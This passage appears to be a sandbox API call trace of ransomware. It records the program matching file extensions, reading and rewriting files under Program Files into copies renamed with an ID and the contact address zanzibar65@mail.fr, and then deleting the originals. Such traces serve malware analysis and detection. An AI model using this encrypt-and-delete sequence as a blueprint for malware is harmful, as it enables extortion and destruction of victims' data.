returned 4 [0041.045] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0041.045] lstrlenW (lpString=".7z") returned 3 [0041.045] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0041.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.045] lstrlenW (lpString=".dbf") returned 4 [0041.045] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0041.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.045] lstrlenW (lpString=".1cd") returned 4 [0041.045] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0041.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0041.045] lstrlenW (lpString=".jpg") returned 4 [0041.045] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0041.045] lstrcmpiW (lpString1=".TXT", lpString2=".html") returned 1 [0041.045] lstrlenW (lpString="METCONV.TXT") returned 11 [0041.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.046] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1183416) returned 1 [0041.046] CloseHandle (hObject=0x200) returned 1 [0041.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0041.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.046] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.046] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.047] GetLastError () returned 0x0 [0041.047] ReadFile (in: hFile=0x200, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0041.417] WriteFile (in: hFile=0x184, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0041.437] ReadFile (in: hFile=0x200, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0041.789] WriteFile (in: hFile=0x184, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0041.794] ReadFile (in: hFile=0x200, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.794] WriteFile (in: hFile=0x184, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.794] SetEndOfFile (hFile=0x184) returned 1 [0041.795] CloseHandle (hObject=0x184) returned 1 [0041.807] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.807] SetEndOfFile (hFile=0x200) returned 1 [0041.808] CloseHandle (hObject=0x200) returned 1 [0041.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.809] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0041.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.809] lstrlenW (lpString=".doc") returned 4 [0041.809] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0041.809] lstrlenW (lpString=".docx") returned 5 [0041.809] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0041.809] lstrlenW (lpString=".pdf") returned 4 [0041.809] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0041.809] lstrlenW (lpString=".xls") returned 4 [0041.809] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0041.809] lstrlenW (lpString=".xlsx") returned 5 [0041.809] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0041.809] lstrlenW (lpString=".ppt") returned 4 [0041.809] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0041.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.809] lstrlenW (lpString=".zip") returned 4 [0041.809] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0041.809] lstrlenW (lpString=".rar") returned 4 [0041.809] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0041.809] lstrlenW (lpString=".bz2") returned 4 [0041.810] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString=".7z") returned 3 [0041.810] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString=".dbf") returned 4 [0041.810] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString=".1cd") returned 4 [0041.810] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString=".jpg") returned 4 [0041.810] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString=".doc") returned 4 [0041.810] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString=".docx") returned 5 [0041.810] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0041.810] lstrlenW (lpString=".pdf") returned 4 [0041.810] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString=".xls") returned 4 [0041.810] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0041.810] lstrlenW (lpString=".xlsx") returned 5 [0041.810] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0041.810] lstrlenW (lpString=".ppt") returned 4 [0041.810] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.810] lstrlenW (lpString=".zip") returned 4 [0041.810] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0041.810] lstrlenW (lpString=".rar") returned 4 [0041.810] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString=".bz2") returned 4 [0041.810] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0041.810] lstrlenW (lpString=".7z") returned 3 [0041.811] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0041.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.811] lstrlenW (lpString=".dbf") returned 4 [0041.811] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0041.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.811] lstrlenW (lpString=".1cd") returned 4 [0041.811] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0041.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0041.811] lstrlenW (lpString=".jpg") returned 4 [0041.811] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0041.811] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0041.811] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.682] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=19780) returned 1 [0042.682] CloseHandle (hObject=0x208) returned 1 [0042.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0042.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.683] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.683] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.683] GetLastError () returned 0x0 [0042.683] ReadFile (in: hFile=0x208, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4d44, lpOverlapped=0x0) returned 1 [0042.689] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0042.690] ReadFile (in: hFile=0x208, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.690] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.690] SetEndOfFile (hFile=0x1ac) returned 1 [0042.692] CloseHandle (hObject=0x1ac) returned 1 [0042.693] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.693] SetEndOfFile (hFile=0x208) returned 1 [0042.694] CloseHandle (hObject=0x208) returned 1 [0042.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0042.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.695] lstrlenW (lpString=".doc") returned 4 [0042.695] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.695] lstrlenW (lpString=".docx") returned 5 [0042.695] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.695] lstrlenW (lpString=".pdf") returned 4 [0042.695] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.695] lstrlenW (lpString=".xls") returned 4 [0042.695] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.695] lstrlenW (lpString=".xlsx") returned 5 [0042.695] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.695] lstrlenW (lpString=".ppt") returned 4 [0042.695] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.695] lstrlenW (lpString=".zip") returned 4 [0042.695] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.695] lstrlenW (lpString=".rar") returned 4 [0042.695] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.695] lstrlenW (lpString=".bz2") returned 4 [0042.695] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.695] lstrlenW (lpString=".7z") returned 3 [0042.695] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.695] lstrlenW (lpString=".dbf") returned 4 [0042.695] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString=".1cd") returned 4 [0042.696] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString=".jpg") returned 4 [0042.696] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString=".doc") returned 4 [0042.696] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString=".docx") returned 5 [0042.696] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.696] lstrlenW (lpString=".pdf") returned 4 [0042.696] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString=".xls") returned 4 [0042.696] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.696] lstrlenW (lpString=".xlsx") returned 5 [0042.696] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.696] lstrlenW (lpString=".ppt") returned 4 [0042.696] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString=".zip") returned 4 [0042.696] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.696] lstrlenW (lpString=".rar") returned 4 [0042.696] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.696] lstrlenW (lpString=".bz2") returned 4 [0042.696] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString=".7z") returned 3 [0042.696] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.696] lstrlenW (lpString=".dbf") returned 4 [0042.696] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.697] lstrlenW (lpString=".1cd") returned 4 [0042.697] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0042.697] lstrlenW (lpString=".jpg") returned 4 [0042.697] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.697] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0042.697] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.699] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2181) returned 1 [0042.699] CloseHandle (hObject=0x1ac) returned 1 [0042.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0042.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.699] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.699] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0042.703] GetLastError () returned 0x0 [0042.703] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x885, lpOverlapped=0x0) returned 1 [0042.705] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x890, lpOverlapped=0x0) returned 1 [0042.706] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.706] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.706] SetEndOfFile (hFile=0x1cc) returned 1 [0042.706] CloseHandle (hObject=0x1cc) returned 1 [0042.707] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.707] SetEndOfFile (hFile=0x1ac) returned 1 [0042.708] CloseHandle (hObject=0x1ac) returned 1 [0042.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.708] lstrlenW (lpString=".doc") returned 4 [0042.708] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.708] lstrlenW (lpString=".docx") returned 5 [0042.708] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.708] lstrlenW (lpString=".pdf") returned 4 [0042.708] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.708] lstrlenW (lpString=".xls") returned 4 [0042.708] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.708] lstrlenW (lpString=".xlsx") returned 5 [0042.709] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.709] lstrlenW (lpString=".ppt") returned 4 [0042.709] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString=".zip") returned 4 [0042.709] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.709] lstrlenW (lpString=".rar") returned 4 [0042.709] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.709] lstrlenW (lpString=".bz2") returned 4 [0042.709] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.709] lstrlenW (lpString=".7z") returned 3 [0042.709] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString=".dbf") returned 4 [0042.709] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString=".1cd") returned 4 [0042.709] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString=".jpg") returned 4 [0042.709] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.709] lstrlenW (lpString=".doc") returned 4 [0042.709] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.709] lstrlenW (lpString=".docx") returned 5 [0042.709] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.710] lstrlenW (lpString=".pdf") returned 4 [0042.710] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.710] lstrlenW (lpString=".xls") returned 4 [0042.710] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.710] lstrlenW (lpString=".xlsx") returned 5 [0042.710] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.710] lstrlenW (lpString=".ppt") returned 4 [0042.710] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.710] lstrlenW (lpString=".zip") returned 4 [0042.710] lstrcmpiW (lpString1=".zip", 